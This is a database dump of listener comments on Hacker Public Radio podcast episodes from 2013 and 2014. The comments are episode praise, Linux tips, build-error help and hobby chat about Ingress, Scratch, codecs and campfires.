(624,1206,'2013-03-20 14:35:48','NYbill','','Just a follow up tip. While making changes to MediaGoblin\'s theme, I would check the site in a browser. But, the changes didn\'t seem to work. \r\n\r\nIt didn\'t dawn on me until I had apache shut down, and was still able to see my site, that I was being shown the page from Firefox\'s cache.\r\n\r\nSo, when making changes, remember to clear your browser cache.  ','2017-09-09 07:41:24'),
(625,1206,'2013-03-22 00:20:18','CPrompt^','','I really enjoyed this episode.  It was actually nice to hear the troubles and resolutions and how it all worked.  Should do a few more episodes like this.  The format was great IMHO!','2017-09-09 07:41:24'),
(626,1213,'2013-04-10 11:49:57','brother mouse','Neat topic','After listening I cranked up apt-get and installed units.  \r\n\r\nIt\'s come in handy a couple of times since then. ','2017-09-09 07:41:24'),
(627,1215,'2013-04-10 11:51:56','brother mouse','Thanks!','I\'d heard about pair programming but didn\'t know how it worked in the real world.  I appreciate the show.  ','2017-09-09 07:41:24'),
(628,1216,'2013-04-04 02:00:22','Marty','-.. .. --. - .- .-.. / -.. .- - .- / - .-. .- -. ... ..-. . .-.','.... .- / .... .- / ...- . .-. -.-- / ..-. ..- -. -. -.--','2017-09-09 07:41:24'),
(629,1216,'2013-08-27 13:26:18','Ken Fallon','see also','https://hackerpublicradio.org/eps.php?id=1343','2022-02-14 13:16:33'),
(630,1219,'2013-04-06 21:54:47','pokey','Wow, good timing.','I just bought my first muzzle loader (in-line). I\'m WAAAAAAAAAAAAAAY behind on my podcasts, but this one is getting bumped to the top of my personal queue. Thanks.','2017-09-09 07:41:24'),
(631,1219,'2013-04-10 11:51:02','brother mouse','liked it','I\'ve been sniffing around the black powder idea for a while and this helped me understand some of the concepts.  Thanks for doing the show. ','2017-09-09 07:41:24'),
(632,1219,'2013-04-25 12:56:11','pokey','Very helpful.','Thank you for all of the great tips in this show. It was very entertaining as well as informative. My muzzle loader is a Thompson Center Omega, but I haven\'t even fired it yet, so I learned a whole lot of very important and relevant things from you in this ep. \r\n\r\nI heard this episode right before Tracy\'s excellent episode on fish-food. ;) You can consider me a new Techie Geek listener. I don\'t know why The TechieGeek never pinged my radar before, but I\'m definitely a fan now, and I haven\'t even heard the show yet.\r\n\r\nGreat show, and thank you.','2017-09-09 07:41:24'),
(633,1220,'2013-04-08 15:29:52','Arold','Nice subject','Hello FiftyOneFifty,\r\n\r\nI really liked this episode! Also, the greater subject of Arch and Arch based distro is very interesting to me right now.\r\n\r\nYou may have notice that Cinnarch just got a new version out (2013.04.05) in which the graphical installer is available. So, it may be worth a second look.\r\n\r\nOn another hand, Manjaro is a great distribution. I highly encourage you to take a look at it. It is more mature than Cinnarch and look just as gorgeous. The XFCE spin seems to be a bit more polish than the Cinnamon spin, but they are both really nice.\r\n\r\nFinally, I can\'t wait to hear your episode entitled \"I have install Arch, now what?\". I have lots of interrogations regarding the use of Arch, particularly on the subject of how I should manage the AUR... Should I use a AUR helper or do everything by hand? If I want to use an helper which one should I use? If I want to do everything by hand, how do I search the AUR from the command line? Is there a better way than elinks?\r\n\r\nRegards,\r\n\r\nArold\r\n\r\n ','2017-09-09 07:41:24'),
(634,1223,'2013-04-25 12:48:58','pokey','Great ep','I liked this one a lot. I love the \"how I got into Linux\" shows, and this one has got to be in the top 3 of that category.','2017-09-09 07:41:24'),
(635,1224,'2013-04-12 17:30:19','FiftyOneFifty','','I recently found out from a post by Knightwise https://knightwise.com/zombies-mechs-and-plenty-of-gore-this-must-be-jake-bibles-doing/ , Dead Mech is part of a trilogy by Jake Bible, but the other two books are only available in print form https://jakebible.com/buy-signed-copies/  I meant to edit my show notes before my review aired, but I procrastinated too long.','2022-02-14 13:16:33'),
(636,1224,'2013-04-25 12:47:25','pokey','good review','This was a fair review of an audiobook that I liked. Nice work. I thought the ditch digging added a lot to the show, btw. Well done, buddy.','2017-09-09 07:41:24'),
(637,1225,'2013-04-12 23:34:46','goibhniu','Great show, thanks!','I started listening to it on my way to work this morning and finished it on the way home .. really informative and interesting. I appreciated the technical details and I\'m curious to know more about the aztec and chinese versions you mentioned at the start. I look forward to hearing the next ep. Thanks!','2017-09-09 07:41:24'),
(638,1225,'2013-04-25 12:42:01','pokey','NICE!!!','This was awesome. It was so much fun to listen to. My wife has a degree in fresh water fish-ology, so I should make her listen to it, but I can\'t promise that that will happen. I asked her if she\'d ever heard of aquaponics, and she was like \"Of course,\" and walked away. I think she thought I was too excited about it, and was going to ask if I could make one. It was a good show, and it did get my gears turning.','2017-09-09 07:41:24'),
(639,1228,'2013-04-25 12:32:10','pokey','Nice one','Thanks for keeping the network alive, 5150, and for doing it with style. :)','2017-09-09 07:41:24'),
(640,1229,'2013-04-18 22:02:40','jezra','Thank you very much!','I listened to your show today during my commute and I wanted to thank you for sharing your experience. Now I am listening again.... just because.','2017-09-09 07:41:24'),
(641,1230,'2013-04-19 16:47:35','threethirty','GIVE \'EM HELL','https://plus.google.com/u/0/117425941598597496552/posts/Y7fcdcFxmi3','2017-09-09 07:41:24'),
(642,1230,'2013-04-25 12:30:14','pokey','Interesting','Thanks for doing a show on this topic. I don\'t have much to say about it, because you are the first to bring it to my attention, but it gives me a lot to think about. I guess the only conclusion that I can come to is to repeat the oft repeated caution about not letting your code project depend on proprietary markets, IDEs, etc... I know it\'s not a helpful thought at this point, but it\'s all I can come up with. It was a good show. Thanks for putting in the work.','2017-09-09 07:41:24'),
(643,1232,'2013-04-25 12:22:09','pokey','Great LITS','This one was really good, Dann. They\'re all good, but I was able to follow this one better for some reason. I really enjoyed it. Thanks, Dann.','2017-09-09 07:41:24'),
(644,1233,'2013-04-25 12:20:30','pokey','I loved it!','This was a great listen. I got my Ingress invite from Epicanis, and have been playing for a few weeks now. I have a slightly different take on the game, and I\'d love to do some sort of community colab on the topic of mapping games/activities.','2017-09-09 07:41:24'),
(645,1233,'2013-04-30 00:59:35','Epicanis','Thanks, Pokey!','Hopefully you weren\'t the only one!\r\n\r\nI like the idea of doing some collaboration on mapping-related pastimes - the field is broad enough it\'s probably worth several episodes! \r\n\r\n','2017-09-09 07:41:24'),
(646,1233,'2013-05-01 19:49:46','lobath','Great Episode','Great intro, script, vocals and audio quality. A quality episode.\r\n\r\nL7 Enlightened, Green Bay, WI\r\nBeen playing for a few months now as well, and I\'ve been lucky to have a pretty active area with well grouped portals, so level hasn\'t been an issue. I\'ve enjoyed the experience so far, thanks for bringing it to HPR. \r\n\r\nI usually tether my Nexus 7 to my phone since the phone processor and screen are really too old to run the game well. I must look a bit silly driving &amp; walking around town staring at my screen. Most of my time has been spent over winter so I\'ve put quite a few extra miles on my car, but I did get out for a few walks as well. Looking forward to getting out farther afield this summer.','2017-09-09 07:41:24'),
(647,1233,'2013-05-07 03:50:56','Epicanis','Thanks, lobath!','Now there\'s an interesting coincidence - another Level 7 Enlightened with a Nexus 7.\r\n(I just got one as a birthday present from the Minister of Domestic Affairs here at the Asylum for the Sufficiently Nerdy). Tethering it to play Ingress is a huge improvement over the Samsung Mesmerize that I was cursing in this episode.\r\n(Not too long after the episode was recorded, I was able to get the phone warranty-replaced - the replacement Mesmerize so far doesn\'t seem to have the irritating radio problem and runs pretty well since I rooted it and purged it of the bloatware, but it\'s still not nearly as nice as the tablet.)\r\n\r\nI\'m working on putting together episode 2 on this topic - anything you\'re particularly interested in hearing about?','2017-09-09 07:41:24'),
(648,1235,'2013-05-07 04:08:16','Epicanis','Nifty project!','A lot of useful information in this episode for me, since I just got a RaspberryPi to play with myself.','2017-09-09 07:41:24'),
(649,1235,'2013-05-13 05:18:56','rukin','welcome future','Hi Sigflup!\r\n\r\nnice project! welcome future.\r\n','2017-09-09 07:41:24'),
(650,1236,'2013-04-29 08:04:11','gws','I thought it was pronounced \"thttpd\"','Like Bill The Cat said it, instead of spelling it out.\r\n\r\nLong live thttpd!','2017-09-09 07:41:24'),
(651,1236,'2013-04-29 23:25:49','klaatu','thttpd','Yeah somewhere the title of this ep must have gotten mangled; he\'s speaking of course about thttpd.\r\n\r\nAnyway, IMHO, hiawatha and nginx are great servers and thttpd, however simple and lightweight, never did get my UTF8 encoding right. (either that, or it was user error....which....is a definite possibility)','2017-09-09 07:41:24'),
(652,1236,'2013-05-03 16:24:13','Epicanis','Slightly disappointed this show didn\'t go longer','Seeing the link to the Hiawatha web server, I was kind of hoping the episode would talk a little about it...\r\n\r\n(It\'s nice in general to hear about not-Apache webservers for a change. We\'ve long since moved on past the idea that email necessarily means \"Sendmail\", but the internet in general seems to have trouble moving beyond \"www means Apache\").\r\n\r\nCherokee is a good alternative as well, though they\'ve been way too slack about making real releases out of their updates over the last year or so.\r\n\r\nStill a good episode, and although I\'ve never used thttpd myself, I agree with the general sentiment expressed wholeheartedly!','2017-09-09 07:41:24'),
(653,1239,'2013-05-05 18:56:48','dodddummy','Doing is an essential part of the definition','I disagree with the gentleman who kept saying that the search for knowledge is all that\'s needed.  A hacker needs to apply the knowledge.','2017-09-09 07:41:24'),
(654,1239,'2013-05-07 02:51:13','Epicanis','I agree, dodddummy','I think curiousity is a necessary component of any good hacker (or rather, I don\'t think someone could become a good hacker without having a decent amount of curiousity), but to me it\'s the USES of the aquired knowledge that make the difference between mere learning and \"hacking\".','2017-09-09 07:41:24'),
(655,1239,'2013-05-21 12:08:11','ClaudioM','On \"music...\"','Seems as though the topic of whether music would be something of interest to hackers as well as what is considered music has inspired me to make a rebuttal episode for HPR.  Be on the lookout for it... ;-)','2017-09-09 07:41:24'),
(656,1241,'2013-05-06 11:56:09','Helvetin','Oh no','I didn\'t want to encroach anyone\'s style :-) thanks for the nice comments ','2017-09-09 07:41:24'),
(657,1241,'2013-05-13 17:10:43','Epicanis','Yes, please review my PHP code!','In addition to checking for security screwups that I may have overlooked, I\'d be interested in any general commentary or suggestions. I\'m pretty much self-taught on PHP so if I\'ve developed any bad habits I\'ll never know until someone else looks at it...\r\n\r\n(I should also clarify that my \"If *I* were Emperor of $whatever\" schtick is just shorthand for \"if there were no practical impediments and I could just declare something done and it would be done that way with no further effort on my part\", not a reflection of an assumption that there IS an Emperor of $whatever...)','2017-09-09 07:41:24'),
(658,1247,'2013-05-15 20:22:05','timttmy','mplayer','Hi Jon, \r\nI\'ve pulled in live streams in the past using mplayer with the -dumpstream option (mplayer https://yoururl/stream.mp3 -dumpstream) and started and stopped the operation with atd (I never fully gotten my head around cron).\r\nI\'ll take a look at streamripper. I like the sound of the option to specify the duration of the rip as an argument of the utility. \r\n\r\nCheers\r\nMarshall\r\n','2022-02-14 13:16:33'),
(659,1248,'2013-05-15 02:16:43','mvario','Thanks','Nice, thank you. I look forward to part 2.','2017-09-09 07:41:24'),
(660,1248,'2013-05-20 02:40:00','klaatu','eee17','I\'m running e17, on Slackware, on my eeePC 901. Works beautifully, has lots of interesting and unique little features, and is fun to explore and experience.','2017-09-09 07:41:24'),
(661,1251,'2013-05-21 14:19:10','pokey','Sorry for the droll read.','I was very tired, not feeling very well, and had been fighting with hardware for three days. ','2017-09-09 07:41:24'),
(662,1252,'2013-05-21 14:17:32','pokey','BRILLIANT!!!','What a fantastic show. I loved it. It was interesting, informative, educational and nostalgic, and your summation at the end was perfect. Decisive and upbeat. I hope to hear much more from you. Thank you.','2017-09-09 07:41:24'),
(663,1252,'2013-05-30 16:48:15','Brad','Printer Sounds','Great podcast, the machine details and technology progression were very informative. I\'m looking forward to future episodes!\r\n\r\nYou\'re segment about recognizing the printer sounds reminded me of a Man or AstroMan? show that I went to a while back. They brought out and Apple II with a Dot Matrix printer and played a song titled A Simple Text File. A pretty interesting and nostalgic use of the now antiquated technology in music. \r\n\r\nhttps://www.amazon.com/gp/product/B000YDR62I/ref=dm_dp_trk11?ie=UTF8&amp;qid=1369931453&amp;sr=8-15','2022-02-14 13:16:34'),
(664,1253,'2013-06-02 09:06:01','pegwole','Aww yeah','Vmstat baby!','2017-09-09 07:41:24'),
(665,1254,'2013-06-11 06:03:39','AukonDK','Thanks!','I hadn\'t heard of x2go and it works great!\r\nI\'ve started using my work box (xubuntu 12.04) as a server and using its screen on my laptop so I can share the screen.','2017-09-09 07:41:24'),
(666,1258,'2013-05-31 01:24:29','Klaatu','Building is the way to go','Great episode. I built my first box about a year ago with the help of some friends in IRC, and since then I can\'t imagine getting a computer that I have not assembled myself.\r\n\r\nVery informative episode.','2017-09-09 07:41:24'),
(667,1259,'2013-05-31 23:45:52','davidWHITMAN','Scratch','Ms. Cupcake,\r\nMr. Klaatu,\r\nIs the scratch project coded in perl? \r\n\r\nAnd if it is will you be appearing on FLOSS Weekly? (snicker)\r\n\r\nA very good show. Thank you. \r\n','2017-09-09 07:41:24'),
(668,1259,'2013-06-04 09:08:55','kdmurray','Scratch - Great Resource','Since being introduced to Scratch on your HPR episode I\'ve played around with it a few times. I can\'t wait until my little one gets a bit older so I can start sharing things like this!\r\n\r\nGreat job. Hope you two do another show in the future!','2017-09-09 07:41:24'),
(669,1259,'2013-06-04 18:36:59','Navigium','Scratch 2','Listened to this today. I was a bit irritated that you both seemed very excited about Scratch 2. Scratch 1 is based on open technology. Scratch 2 is based on the proprietary Flash platform and won\'t run as well on Linux platforms and I guess I will never be able to upgrade Scratch on my OpenBSD system. So to me this is not something to be excited about but the reason to hope that one of the upcoming HTML5 based alternatives soon will replace Scratch.','2017-09-09 07:41:24'),
(670,1259,'2013-06-16 20:55:45','doubi','','@davidWHITMAN, nope, as Klaatu mentioned in the show, Scratch is programmed in Squeak, not Perl.\r\n\r\nThanks for the show guys, have shared it with my non-techie educator friends, will be interested to hear what they make of it.\r\n\r\nCyanide Cupcake, I didn\'t quite understand the part where you were talking about talking to other teachers who were worried that they hadn\'t been taught programming themselves. I think you used the example of English teachers. Were they curious about incorporating Scratch into their English lessons, or did they happen to have to teach I.T. sometimes as well in their schools?','2017-09-09 07:41:24'),
(671,1261,'2013-06-03 19:42:24','pokey','Damnit, Ken! ','You could listen to me read the phone book!? You just made me choke on my coffee. I almost laughed it right out my nose. \r\n\r\nAnyone who doesn\'t get why this is so funny should go subscribe to the mail list.','2017-09-09 07:41:24'),
(672,1270,'2013-06-14 19:56:22','Tony Bemus from SMLR','Thank you Jon','I loved listening to this Episode.  To range from History to current computing was great!  Thank You Jon','2017-09-09 07:41:24'),
(673,1270,'2013-06-25 23:35:32','Jon Kulp','yup','so glad you enjoyed it. It was a lot of fun for me to do as well.','2017-09-09 07:41:24'),
(674,1271,'2013-06-18 21:25:48','klaatu','Yes','The answer is \'yes\'.','2017-09-09 07:41:24'),
(675,1271,'2013-07-02 17:22:51','Joey','','Just wanted to say what an exellent episode this was. Very well written and presented.','2017-09-09 07:41:24'),
(676,1273,'2013-06-24 09:12:49','replaceits','','Just wanted to point out that it should be \"cat\" not \"cut\"!','2017-09-09 07:41:24'),
(677,1273,'2013-06-24 18:40:42','Ken Fallon','Thanks','Fixed','2017-09-09 07:41:24'),
(678,1280,'2013-06-29 22:15:02','davijordan','','Additional homemade antennas:\r\n\r\nhttps://www.instructables.com/id/Antennas-TV-Wifi-and-etc/\r\n\r\n','2022-02-14 13:16:34'),
(679,1284,'2014-06-16 22:07:14','ash','Dyslexis','I am looking for a program that can write the words I say to text and read out the text I have written. For now I Orcra from gimp and using debian as the operating system. Would hear whether you can use blather about this? \r\n\r\nAbout the installation of blather. \r\n\r\nhttps://paste.jonkulp.net/lolilabuje\r\n\r\nAnd I get this \r\n\r\n**Error**: You must have `autoconf\' installed to.\r\nDownload the appropriate package for your distribution,\r\nor get the source tarball at ftp://ftp.gnu.org/pub/gnu/\r\n\r\n**Error**: You must have `libtool\' installed.\r\nGet ftp://ftp.gnu.org/pub/gnu/libtool-1.2d.tar.gz\r\n(or a newer version if it is available)\r\n\r\n**Error**: You must have `automake\' installed.\r\nGet ftp://ftp.gnu.org/pub/gnu/automake-1.3.tar.gz\r\n(or a newer version if it is available)\r\ncp: kan ikke udf&oslash;re stat() p&aring; \'./src/gst-plugin/.libs/libgstpocketsphinx.so\': Ingen s&aring;dan fil eller filkatalog\r\nroot@Stationer:/home/root/pocketsphinx-0.8# get_blather\r\nbash: git: command not found\r\nroot@Stationer:/home/root# conf\r\ncp: kan ikke udf&oslash;re stat() p&aring; \'/home/root/blather/commands.tmp\': Ingen s&aring;dan fil eller filkatalog\r\nbash: /home/root/bin/blather.sh: Ingen s&aring;dan fil eller filkatalog\r\nchmod: kan ikke tilg&aring; \'/home/root/bin/blather.sh\': Ingen s&aring;dan fil eller filkatalog\r\n\r\n\r\nGreetings from Ash','2022-02-14 13:16:34'),
(680,1284,'2014-07-07 10:57:32','Jon Kulp ','Help for Ash','Hi Ash, \r\n\r\nsorry for the delay in responding but I only just now heard that there was a comment on this episode. It looks from the error message as if you need to install the \"build-essential\"  package and also the \"gnome-common\"  package (for autoconf). That\'s not to say that blather will necessarily do what you need it to do (it can\'t do dictation)  but this should help you get past those error messages at least. ','2017-09-09 07:41:24'),
(681,1286,'2013-07-09 07:59:21','Ken Fallon','Excellent','I just realized, that when I ask people to help out. Not only do I get the problem solved but we also get another episode !\r\n\r\nKen.','2017-09-09 07:41:24'),
(682,1287,'2013-07-13 02:25:01','Erm','Have you heard of bitlove?','You guys were talking about using bittorrent sync to transfer episodes.\r\n\r\nBitlove.org offers a service that automatically creates .torrent files with webseeds for podcast rss feeds.\r\n\r\nI use it on my site music.the-erm.com and it has a  js script that works with wordpress that will create button/link to download the .torrent file.  As I recall they had an API that could be used to create your own if not.\r\n\r\nIf you need a php script that has download resume capabilities with a bandwidth limiter I have one of those.  Just email me and let me know.  I\'ll send it to you.\r\n\r\nAlso I think bittorrent sync recently added versioning with 1.1.27 (but their faq isn\'t updated so I might be mistaken I seem to remember it in the release notes, but I can\'t seem to find them on the site.)\r\n\r\n ','2017-09-09 07:41:24'),
(683,1287,'2013-07-14 21:39:17','Epicanis','I really like the updates!','The changes to the hacker public radio website are going great, in my opinion, as is the new scheduling system.\r\n\r\nAs self-appointed Minister of Opus Codec Advocacy, if you can\'t justify adding a fourth feed, I\'d suggest polling the speex users (perhaps prepend a short recorded message to the .spx feed episodes for a while?) to find out if any of them can NOT handle .opus as well. (Opus\' support is already more widespread than speex\'s is.) If there are no objections, I would suggest replacing the ~28kbps .spx feed with opus encoded at \"--bitrate 20\". This looks like it should be roughly a high enough bitrate that speech quality should be outstanding, while leaving enough bitrate for the possibility for the opus encoder to switch to MDCT mode (\"CELT\") when it detects non-speech sounds occasionally.\r\n\r\nThe quality should remain the same or probably even better, while reducing the file downloads by an average of around 25%-30% more beyond what speex already gets it down to.\r\n\r\nAlso too, sorry for missing the show recording. We\'re starting to hit our \"busy season\" here.','2017-09-09 07:41:24'),
(684,1290,'2013-07-12 22:21:03','aaronb','Curse you multisystem','Multisystem and unetbootin support my distro hopping addiction.\r\nIf you carry a usb thumb drive, Please put puppy linux on it to help your Windows friends. And put your favorite linux distro on it to so them what real computing is like. ','2017-09-09 07:41:24'),
(685,1290,'2013-07-21 16:58:43','Randy Noseworthy','Webupd8','I know I\'ve found Multisystem to be very useful and saves on the burning of the CD/DVD disks.  I think that I\'d use the WebUpd8 post to pimp to others. \r\n\r\nhttps://www.webupd8.org/2010/03/how-to-create-multiboot-liveusb-using.html','2022-02-14 13:16:35'),
(686,1294,'2013-08-05 15:30:10','pokey','Thanks for some more insight','I was almost afraid to listen to this one, but you kept it understandable and relevant. We\'re all pulling for you, sigflup. Please hang in there.','2017-09-09 07:41:24'),
(687,1296,'2013-07-24 02:03:08','Epicanis','Nifty topic!','s/ultraviolet/infrared/g\r\n\r\nBut I knew what you meant. Also, I learned stuff (I never really thought before about how much of the heat from a fire is radiational rather than convective). This information will come in handy next time I need to set something on fire...','2017-09-09 07:41:24'),
(688,1296,'2013-07-25 12:48:29','pokey','Thanks','Ultraviolet, infrared... bah humbug! I can\'t see either, so what\'s the difference? \r\n\r\nYeah, that was the big difference for me too. Once it was explained to me how much radiant heat comes off the fire and is just wasted, I started making my fires a lot better. For instance, if I make a fire to heat up with, I put a great big log at the back to deflect heat back at the fire and at me. I also try to keep my burning logs above my fire ring (but below the top of the big log at the back) if I want heat. If I want to cook, or if it\'s hot out, I\'ll try to keep my logs below the top of the fire ring. \r\n\r\nWhen I really realized to potential of the radiated heat was the time me and some friends were at a really big bon fire (REALLY BIG, like >1/4 acre, and the pit was an unused quarry). we were at least 25-35 yards away from any actual burning wood, and we still all got too hot to stand there unless we had something to \"shade\" ourselves with. ','2017-09-09 07:41:24'),
(689,1301,'2013-08-05 15:27:42','pokey','Thanks','I listened to this one while pulling an all nighter and you guys kept me going through the last (hardest) stretch. I was up sewing a hammock (the one I dented all those pictures of) for a camping trip, and you three (I\'m counting Mrs. nybill) were great company. Thanks for keeping me going.\r\n\r\nYou\'re funny.','2017-09-09 07:41:24'),
(690,1301,'2013-08-29 19:51:35','Quoud','Live (or not) broadcasting to remote musical instruments','While listening to you guys talk about guitars a pretty cool idea came to me, not sure if it\'s out there yet. I thought would be cool for hacker/guitar enthusiasts to mod a guitar or hack together a peripheral device/program that would allow users across the interwebs to control your guitar remotely. I figure since so many guitarists love sharing videos of themselves playing guitar to youtube and what not, why not \"live broadcast\" a live jam session to whoever is interested to listen!','2017-09-09 07:41:24'),
(691,1302,'2013-07-30 02:41:09','Jon Kulp','Nice show','I really enjoyed your first show, great to have you on board. you might just save the HPR audience from my threat of doing an episode about how to fold fitted sheets. ;) you mentioned that you would like to hear how are the people got into Linux and you can probably find many of these episodes in the hpr archives. I did not do a separate episode about getting into Linux but I did talk about it with NYbill during the course of my first HPR appearance here https://www.hackerpublicradio.org/eps.php?id=1028 at about 22 minutes into the episode. I\'m looking forward to your future shows. --jk','2022-02-14 13:16:35'),
(692,1304,'2013-08-03 11:41:44','Ken Fallon','Excellent Episode','Hi John and Son,\r\n\r\nGreat show. Some of my fondest memories was in the blacksmiths when I was a lad. \r\n\r\nKeep up the good work.\r\n\r\nKen.\r\nPS: @Son: You owe me a show !','2017-09-09 07:41:24'),
(693,1306,'2013-07-29 04:24:21','Christopher M. Hobbs','Email Update','Note that I can now be reached at hobbsc@ma.sdf.org.  My ACM address is going to be closed soon.','2017-09-09 07:41:24'),
(694,1309,'2013-08-08 21:26:32','Frank','','I commend both of your for addressing this topic.  \r\n\r\nBecause you are not members of the professional chattering classes and are sharing your own experiences, your testimony is all the more powerful and valuable.\r\n\r\nI suspect and hope that this episode will find an audience beyond HPR\'s regular listenership.','2017-09-09 07:41:24'),
(695,1309,'2013-08-22 15:19:33','gerryk','','A deviation from what we have come to expect from HPR, but, as it turns out, a very interesting, and touching one. \r\n\r\nThank you both for your openness and empathy. I believe that your story will bring others some comfort, if not hope (there\'s that word again).','2017-09-09 07:41:24'),
(696,1309,'2013-08-25 02:51:54','pokey','','This gets my nomination for the most beautiful episode of HPR ever. \r\n\r\nThank you.','2017-09-09 07:41:24'),
(697,1311,'2013-08-16 15:23:24','Randy Noseworthy','Thanks','Sounds like Baking Soda and Vinegar are the basis for most of your cleaning and things to keep yourself smelling noseworthy. :P   But the deodorant, isn\'t an antiperspirant is it?  ','2017-09-09 07:41:24'),
(698,1311,'2013-09-04 18:16:32','Windigo','Simpler solutions','As somebody who\'s used a drying rack in my home for years, I really enjoyed this episode quite a bit!\r\n\r\nI\'ve recently moved into a cabin in Northern California, and find myself going back to older technology and methods of doing things. The Internet isn\'t as reliable here, so we\'re making due with what we have.\r\n\r\nIt\'s funny how a lack of amenities makes you appreciate the lower-tech ways of doing things. :)','2017-09-09 07:41:24'),
(699,1312,'2013-08-01 18:39:42','deepgeek','Criticism Well Taken','Hey, Epicanis,\r\n\r\nThanks for the criticism of my two examples, before going into this interview, I really focused on researching Birgitta to the exclusion of all else, Next time, better, I promise.\r\n\r\nDid I mention that I was working off of a memorized set of questions? Listening to this in retrospect I think I hear Birgitta raise her impression of me mid-interview when she realizes that this is what I was doing....\r\n\r\nThanks also for \"loopholeing\" me in!\r\n\r\nyours,\r\n---\r\nDeepGeek','2017-09-09 07:41:24'),
(700,1312,'2013-11-19 06:40:06','Epicanis','Dang it, I hate when I miss comments for so long','In my defense, August was an EXTREMELY busy month for me.\r\n\r\nNo need to apologize for anything - I had fun looking up the information on Leary and Reich, and you still did a heck of a lot more work on this episode than I did. :-)','2017-09-09 07:41:24'),
(701,1312,'2013-12-31 23:09:19','otak','','Thankyou so much deepgeek this was awesome and informative.','2017-09-09 07:41:24'),
(702,1313,'2013-12-28 18:48:24','Yvan ','Script links don\'t work','Hi,\r\nI was very interested for yours script but these URLs are broken :\r\nhttps://paste.jonkulp.net/view/32922107\r\nhttps://paste.jonkulp.net/view/d47bbeca\r\nIs it possible to see them ?\r\nYvan','2022-02-14 13:16:35'),
(703,1314,'2013-08-17 04:45:17','Jason','Thanks for the overview','I haven\'t used this distro since it was called Mandrake but I remember really liking it. I was wary of it being rpm based since I\'d gotten tired of \"rpm hell\" on Redhat 5 &amp; 6. But it worked well with my hardware and was pretty stable. \r\n\r\nI\'ve used PCLinuxOS off and on which is a derivative but I think I\'ll give Mageia a whirl now that I\'m back on OpenSuse (just can\'t stay away from rpm I guess). Thanks again!','2017-09-09 07:41:24'),
(704,1317,'2013-08-20 17:39:27','NYbill','','Hey, cool to put a voice to a nick. And welcome to the club! ','2017-09-09 07:41:24'),
(705,1324,'2013-08-29 18:54:11','whtspc','','sigflup, what tunes are playing in this cast? Thanks.','2017-09-09 07:41:24'),
(706,1324,'2013-08-31 02:27:43','sigflup','','Hmmm... These shows are delayed some and i honestly don\'t remember. I think it\'s from a YouTube mix video','2017-09-09 07:41:24'),
(707,1328,'2013-09-04 03:11:08','Christopher M. Hobbs','wow...','Amazing, amazing podcast.  I absolutely loved this episode!','2017-09-09 07:41:24'),
(708,1328,'2013-09-04 17:15:50','HPR Admins','This show is of interest to hackers.','\r\nThe HPR Community.','2017-09-09 07:41:24'),
(709,1328,'2013-09-04 18:22:16','Frank','','I commend you, both for opening this world to strangers and for having the courage to do so.  \r\n\r\nI have shared this link with my daughter, who has her Masters is working as therapist with a goal of certification as an LCSW.\r\n\r\nAlso, the drawing is quite powerful.  When I first saw it, I was wondering which painter did it.','2017-09-09 07:41:24'),
(710,1328,'2013-09-06 01:06:08','Johninsc','','Courageous and quite interesting.  I certainly hope for the best as you deal with this in the future.','2017-09-09 07:41:24'),
(711,1328,'2013-10-29 22:52:01','z','Thanks','Thanks for sharing.','2017-09-09 07:41:24'),
(712,1330,'2014-02-03 01:18:29','Michael','c is the way ','a couple of years ago I pulled out an old book I had from decades ago (K&amp;R \"the C Programming Language\")\r\nand made some tiny cgi\'s in c. (compiled with gcc)\r\n\r\nnothing gives me dynamic pages on a web server faster than those!\r\n\r\nand I\'m talking about the real world here .. data is read from disk! (modern operating systems have pretty good caching for disk reads anyway)\r\n\r\nnow I would love to see a federated social (forums/events/etc) platform done that way ...  so that it could handle thousands of users on a raspi!\r\n\r\n\r\n\r\n','2017-09-09 07:41:24'),
(713,1331,'2013-08-25 06:14:03','NYbill','corrections','A couple quick things. Thinking back on this after recording, I think I did 2/3rds of the Arch update. The first step updated the system except Bash and Filesystem.  The second step brought in bash populating /usr/bin and most likely removing the files from /bin /sbin. The third step I forgot to do. Which would have brought in \"filesystem\" making the symlinks in /bin and /sbin to /usr/bin.\r\n\r\nI also realized while editing that I said /usr/sbin a couple of times when I meant /usr/bin. But, this was an \'off the cuff\' episode. So, I just left it as is. ','2017-09-09 07:41:24'),
(714,1331,'2013-09-18 18:01:57','FiftyOneFifty','Incredible ep','Very informative, nice to know Linode provides tools that emulate access to a bare metal host machine.  I\'d have never thought of the 32 bit vs 64 bit compatibility if you hadn\'t pointed it out.  Would you also have to match distro and release versions to get the same libraries?  If not, would you have to have the same kernel version on the ssh server and client?','2017-09-09 07:41:24'),
(715,1336,'2013-09-25 18:16:08','lobath','Great Story','Thanks for sharing, adding your Wordpress to my reading subscriptions.','2017-09-09 07:41:24'),
(716,1339,'2013-09-29 09:20:22','Under Stated','Soooo Good!','What a show. Now, THAT\'S H.P.R. to a tee.','2017-09-09 07:41:24'),
(717,1340,'2013-09-27 16:06:04','Frank','','This was really fun to listen to.\r\n\r\nI especially enjoyed real-life nature of the segment on soldering.   ','2017-09-09 07:41:24'),
(718,1343,'2013-09-30 20:58:14','klaatu','short long long. long long long. short long long.','Wow, this is really cool. I never realised morse code was quite that flexible although it certainly makes sense that it is. I am impressed!','2017-09-09 07:41:24'),
(719,1344,'2013-09-30 21:00:01','klaatu','And I thought they were extinct.','Really really cool. I might re-use your shell script, or at least parts of it, as I need incremental shots of some film frames. Thanks!','2017-09-09 07:41:24'),
(720,1346,'2013-09-30 21:01:04','klaatu','smart','This is great advice, thanks. I think many of us Linux users get a little out of touch and forget how we felt, and what appealed to us best, when we were just starting out. Thanks for the tips!','2017-09-09 07:41:24'),
(721,1346,'2013-10-01 16:49:35','Ken Fallon','Personal feedback','I agree for the most part. I have won more converts through leading by example, than by trying to force the issue. Also having a stock of Raspberry PI loners helps.\r\n\r\nI would argue that there are times when discussing free as in freedom can be used to good effect. I have used the argument when someone couldn\'t open a document on their word processor because the proprietary format had been updated.\r\n\r\nI have found the frugal argument to be more of a hindrance than a help. Namely the \"you get what you pay for\" or \"pay peanuts, get monkeys\" spring to mind. So rather than saying it\'s free, you can explain that large companies pay for support. Or, that you will be expected to contribute back in some way once you are up to speed. It usually say that in a Vito Corleone/Marlon Brando accent.\r\n\r\nKen.','2017-09-09 07:41:24'),
(722,1346,'2013-10-02 14:24:00','Glwx','Thanks for the feedback','Ken I agree with you about the \"oh it\'s free therefore it must be crap\" aspect of the frugality argument. I would say something to them like well, it\'s costs nothing to try so so it\'s not like you\'re out anything if it doesn\'t suit your needs or tastes. \r\n\r\nIt\'s a sad state of affairs our modern world finds itself in when we all look at things we expect to pay for with a certain skepticism looking for the \"catch\".','2017-09-09 07:41:24'),
